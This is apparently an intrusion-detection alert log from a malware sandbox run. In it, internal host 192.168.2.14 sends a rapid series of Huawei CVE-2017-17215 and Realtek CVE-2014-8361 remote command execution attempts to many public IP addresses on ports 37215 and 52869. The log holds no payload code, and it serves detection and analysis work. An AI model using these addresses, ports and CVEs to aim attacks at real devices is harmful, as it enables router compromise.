07/20/24-23:01:31.211608	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36868	52869	192.168.2.14	76.153.92.60
07/20/24-23:01:37.164417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49980	37215	192.168.2.14	71.117.212.206
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60750	37215	192.168.2.14	213.55.246.209
07/20/24-23:01:14.396807	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39116	37215	192.168.2.14	91.148.85.48
07/20/24-23:01:33.579925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50892	52869	192.168.2.14	163.241.201.162
07/20/24-23:01:22.769838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42300	37215	192.168.2.14	41.89.33.66
07/20/24-23:01:25.293652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43452	37215	192.168.2.14	157.213.239.66
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37652	37215	192.168.2.14	130.131.215.230
07/20/24-23:01:02.408597	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42312	37215	192.168.2.14	41.65.98.19
07/20/24-23:01:02.409019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54852	37215	192.168.2.14	197.30.62.141
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45390	37215	192.168.2.14	157.32.53.131
07/20/24-23:01:25.284909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57018	37215	192.168.2.14	157.16.157.164
07/20/24-23:01:33.071289	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37406	37215	192.168.2.14	157.229.178.122
07/20/24-23:01:02.411662	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36536	37215	192.168.2.14	197.66.212.124
07/20/24-23:01:19.222378	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42722	37215	192.168.2.14	142.57.44.204
07/20/24-23:01:14.398311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44836	37215	192.168.2.14	41.214.189.107
07/20/24-23:01:05.472694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56082	52869	192.168.2.14	211.192.130.220
07/20/24-23:01:14.397565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51668	37215	192.168.2.14	41.210.199.43
07/20/24-23:01:24.563144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44676	52869	192.168.2.14	19.5.103.108
07/20/24-23:01:34.949877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60486	52869	192.168.2.14	131.234.185.229
07/20/24-23:01:05.905239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34710	37215	192.168.2.14	133.78.34.31
07/20/24-23:01:22.782671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48568	37215	192.168.2.14	157.60.225.59
07/20/24-23:01:28.170987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37948	37215	192.168.2.14	157.42.64.187
07/20/24-23:01:29.182229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39560	52869	192.168.2.14	94.133.203.252
07/20/24-23:01:05.490874	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36662	52869	192.168.2.14	198.112.106.164
07/20/24-23:01:02.410515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40600	37215	192.168.2.14	197.59.92.194
07/20/24-23:01:02.410541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47794	37215	192.168.2.14	197.232.128.49
07/20/24-23:01:30.736329	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45316	52869	192.168.2.14	61.33.247.239
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37654	37215	192.168.2.14	197.145.96.83
07/20/24-23:01:32.104403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51088	52869	192.168.2.14	116.117.218.123
07/20/24-23:01:14.398311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56678	37215	192.168.2.14	191.75.82.97
07/20/24-23:01:14.400300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55054	37215	192.168.2.14	41.72.60.44
07/20/24-23:01:13.330930	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39168	52869	192.168.2.14	64.213.179.125
07/20/24-23:01:19.334827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43828	37215	192.168.2.14	163.20.58.187
07/20/24-23:01:37.120918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42896	37215	192.168.2.14	41.213.240.121
07/20/24-23:01:34.945580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35508	52869	192.168.2.14	220.47.15.117
07/20/24-23:01:31.081501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43532	52869	192.168.2.14	181.57.234.228
07/20/24-23:01:02.408597	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60734	37215	192.168.2.14	197.40.93.165
07/20/24-23:01:13.331537	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48176	52869	192.168.2.14	207.107.95.51
07/20/24-23:01:37.191093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43604	37215	192.168.2.14	41.236.234.89
07/20/24-23:01:05.892501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57212	37215	192.168.2.14	128.197.81.243
07/20/24-23:01:33.070886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38604	37215	192.168.2.14	174.244.149.60
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46882	37215	192.168.2.14	41.244.63.43
07/20/24-23:01:24.075555	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55060	52869	192.168.2.14	73.141.57.7
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51876	37215	192.168.2.14	191.162.138.179
07/20/24-23:01:13.330389	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42470	52869	192.168.2.14	112.236.210.206
07/20/24-23:01:02.407252	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53052	37215	192.168.2.14	124.232.166.233
07/20/24-23:01:28.370423	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54788	37215	192.168.2.14	209.211.129.206
07/20/24-23:01:06.126792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60050	52869	192.168.2.14	37.92.251.97
07/20/24-23:01:22.786757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54726	37215	192.168.2.14	157.92.46.63
07/20/24-23:01:05.892501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56196	37215	192.168.2.14	197.160.79.126
07/20/24-23:01:24.075435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55902	52869	192.168.2.14	102.213.194.254
07/20/24-23:01:13.337641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37884	52869	192.168.2.14	66.134.165.127
07/20/24-23:01:11.461509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53558	37215	192.168.2.14	157.61.214.108
07/20/24-23:01:14.398934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57044	37215	192.168.2.14	41.184.179.223
07/20/24-23:01:13.335234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49228	52869	192.168.2.14	165.198.120.17
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43488	37215	192.168.2.14	41.226.92.193
07/20/24-23:01:33.081951	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40114	37215	192.168.2.14	41.216.33.244
07/20/24-23:01:19.220572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45714	37215	192.168.2.14	41.129.69.142
07/20/24-23:01:14.399761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36840	37215	192.168.2.14	156.79.148.22
07/20/24-23:01:22.804406	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37920	37215	192.168.2.14	157.143.9.246
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48328	37215	192.168.2.14	204.86.40.252
07/20/24-23:01:19.334293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58748	37215	192.168.2.14	197.175.130.233
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36022	37215	192.168.2.14	117.170.200.63
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53112	37215	192.168.2.14	41.55.85.107
07/20/24-23:01:05.827522	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50454	52869	192.168.2.14	77.164.7.36
07/20/24-23:01:22.785873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38852	37215	192.168.2.14	41.5.19.94
07/20/24-23:01:22.777005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43632	37215	192.168.2.14	35.148.236.78
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51948	37215	192.168.2.14	197.54.252.192
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55686	37215	192.168.2.14	157.120.40.109
07/20/24-23:01:34.919559	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48118	52869	192.168.2.14	206.110.55.66
07/20/24-23:01:14.401003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49994	37215	192.168.2.14	41.107.232.37
07/20/24-23:01:02.411076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59868	37215	192.168.2.14	118.0.129.46
07/20/24-23:01:19.220224	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51358	37215	192.168.2.14	52.169.146.169
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51178	37215	192.168.2.14	197.153.89.176
07/20/24-23:01:06.241636	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36028	52869	192.168.2.14	111.86.157.53
07/20/24-23:01:05.608194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41312	52869	192.168.2.14	112.236.210.206
07/20/24-23:01:07.684526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58354	37215	192.168.2.14	117.81.229.141
07/20/24-23:01:34.972618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54832	52869	192.168.2.14	87.188.195.240
07/20/24-23:01:11.483526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44808	37215	192.168.2.14	197.56.108.56
07/20/24-23:01:19.220875	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55450	37215	192.168.2.14	197.181.74.25
07/20/24-23:01:14.406186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44172	37215	192.168.2.14	197.111.225.219
07/20/24-23:01:24.577731	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60482	52869	192.168.2.14	205.244.60.239
07/20/24-23:01:28.142946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35634	37215	192.168.2.14	197.94.215.195
07/20/24-23:01:25.210004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51666	52869	192.168.2.14	189.92.207.153
07/20/24-23:01:05.895886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40738	37215	192.168.2.14	157.139.36.46
07/20/24-23:01:22.794319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51112	37215	192.168.2.14	157.189.46.196
07/20/24-23:01:02.408596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57162	37215	192.168.2.14	157.137.75.124
07/20/24-23:01:07.438956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43902	52869	192.168.2.14	110.190.170.59
07/20/24-23:01:22.769326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50564	37215	192.168.2.14	41.174.192.210
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57404	37215	192.168.2.14	41.68.136.32
07/20/24-23:01:33.070886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50418	37215	192.168.2.14	71.221.176.212
07/20/24-23:01:34.909517	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56686	52869	192.168.2.14	157.172.195.68
07/20/24-23:01:33.050087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36160	37215	192.168.2.14	41.47.140.98
07/20/24-23:01:11.477507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43684	37215	192.168.2.14	197.27.41.248
07/20/24-23:01:33.620818	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48502	52869	192.168.2.14	192.67.13.54
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54706	37215	192.168.2.14	157.242.91.59
07/20/24-23:01:07.483062	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40752	52869	192.168.2.14	202.104.226.178
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48150	37215	192.168.2.14	157.131.216.90
07/20/24-23:01:25.281101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40960	37215	192.168.2.14	41.226.121.155
07/20/24-23:01:11.477507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55880	37215	192.168.2.14	41.23.188.13
07/20/24-23:01:13.329927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54402	52869	192.168.2.14	65.188.53.189
07/20/24-23:01:05.788074	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49814	52869	192.168.2.14	60.144.29.97
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48608	37215	192.168.2.14	60.95.251.66
07/20/24-23:01:02.408227	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55730	37215	192.168.2.14	37.110.59.42
07/20/24-23:01:14.401003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49250	37215	192.168.2.14	41.213.216.231
07/20/24-23:01:05.864441	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54232	52869	192.168.2.14	194.147.115.196
07/20/24-23:01:29.198098	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33284	52869	192.168.2.14	47.157.17.225
07/20/24-23:01:19.233507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35484	37215	192.168.2.14	41.217.234.179
07/20/24-23:01:05.797653	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50732	52869	192.168.2.14	206.233.127.191
07/20/24-23:01:07.682290	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44808	37215	192.168.2.14	41.104.226.171
07/20/24-23:01:23.020514	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46072	52869	192.168.2.14	137.171.174.123
07/20/24-23:01:28.211361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54788	37215	192.168.2.14	157.163.101.17
07/20/24-23:01:28.389273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58658	37215	192.168.2.14	197.113.150.224
07/20/24-23:01:13.332173	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58010	52869	192.168.2.14	114.173.101.131
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44480	37215	192.168.2.14	197.92.37.182
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55574	37215	192.168.2.14	45.242.224.131
07/20/24-23:01:05.920528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45614	37215	192.168.2.14	148.29.0.19
07/20/24-23:01:14.454899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49632	37215	192.168.2.14	157.38.206.56
07/20/24-23:01:33.081951	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58334	37215	192.168.2.14	197.59.154.40
07/20/24-23:01:13.330569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53954	52869	192.168.2.14	138.222.128.120
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55166	37215	192.168.2.14	41.244.165.97
07/20/24-23:01:25.230811	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39922	37215	192.168.2.14	41.241.8.230
07/20/24-23:01:05.588258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46444	52869	192.168.2.14	8.55.90.119
07/20/24-23:01:11.468893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58846	37215	192.168.2.14	41.27.229.64
07/20/24-23:01:28.216939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48298	37215	192.168.2.14	158.37.247.254
07/20/24-23:01:05.616355	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52796	52869	192.168.2.14	138.222.128.120
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56278	37215	192.168.2.14	106.111.13.138
07/20/24-23:01:34.820857	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52050	52869	192.168.2.14	159.34.206.150
07/20/24-23:01:19.252785	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43978	37215	192.168.2.14	65.117.250.24
07/20/24-23:01:11.481655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44298	37215	192.168.2.14	41.75.239.39
07/20/24-23:01:34.919559	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55714	52869	192.168.2.14	110.2.88.21
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48452	37215	192.168.2.14	197.46.214.138
07/20/24-23:01:13.333720	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57648	52869	192.168.2.14	102.223.154.160
07/20/24-23:01:24.490480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52988	52869	192.168.2.14	35.167.163.145
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54224	37215	192.168.2.14	18.185.167.223
07/20/24-23:01:14.400300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52432	37215	192.168.2.14	41.77.0.48
07/20/24-23:01:06.155613	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48680	52869	192.168.2.14	65.248.115.141
07/20/24-23:01:22.783280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37000	37215	192.168.2.14	41.224.87.166
07/20/24-23:01:28.208110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51704	37215	192.168.2.14	157.189.92.28
07/20/24-23:01:05.902118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39342	37215	192.168.2.14	122.197.102.121
07/20/24-23:01:05.900314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48024	37215	192.168.2.14	48.200.124.66
07/20/24-23:01:24.313246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49644	52869	192.168.2.14	124.106.212.23
07/20/24-23:01:28.142925	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57468	37215	192.168.2.14	210.169.65.93
07/20/24-23:01:28.196416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39888	37215	192.168.2.14	157.203.201.189
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43552	37215	192.168.2.14	41.249.94.160
07/20/24-23:01:34.995514	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53912	52869	192.168.2.14	159.34.206.150
07/20/24-23:01:06.224181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50718	52869	192.168.2.14	222.15.221.37
07/20/24-23:01:14.397957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36440	37215	192.168.2.14	36.55.148.89
07/20/24-23:01:29.198098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57768	52869	192.168.2.14	157.113.216.32
07/20/24-23:01:34.913412	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52694	52869	192.168.2.14	116.117.218.123
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32830	37215	192.168.2.14	41.225.86.159
07/20/24-23:01:29.169710	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36918	52869	192.168.2.14	185.142.167.93
07/20/24-23:01:34.939612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36624	52869	192.168.2.14	23.217.181.6
07/20/24-23:01:25.046669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59386	52869	192.168.2.14	98.8.145.55
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57638	37215	192.168.2.14	157.122.148.214
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48554	37215	192.168.2.14	197.162.228.45
07/20/24-23:01:05.601372	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53244	52869	192.168.2.14	65.188.53.189
07/20/24-23:01:14.416273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34880	37215	192.168.2.14	197.43.62.172
07/20/24-23:01:13.333328	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60930	52869	192.168.2.14	97.182.119.204
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38152	37215	192.168.2.14	197.22.29.48
07/20/24-23:01:19.221647	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39246	37215	192.168.2.14	34.155.160.150
07/20/24-23:01:29.170361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52180	52869	192.168.2.14	167.31.141.74
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52734	37215	192.168.2.14	41.96.252.185
07/20/24-23:01:05.800883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59306	52869	192.168.2.14	59.126.120.18
07/20/24-23:01:05.892501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38372	37215	192.168.2.14	157.150.55.229
07/20/24-23:01:25.290247	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51894	37215	192.168.2.14	41.91.139.227
07/20/24-23:01:34.980138	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60208	52869	192.168.2.14	79.118.207.216
07/20/24-23:01:13.328619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35474	52869	192.168.2.14	34.37.107.29
07/20/24-23:01:22.804406	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38786	37215	192.168.2.14	197.130.49.5
07/20/24-23:01:23.029917	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51184	52869	192.168.2.14	194.152.67.254
07/20/24-23:01:06.876426	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58326	52869	192.168.2.14	149.3.41.152
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33210	37215	192.168.2.14	41.225.217.25
07/20/24-23:01:06.187826	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60916	52869	192.168.2.14	187.235.69.197
07/20/24-23:01:13.333076	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34692	52869	192.168.2.14	14.68.225.116
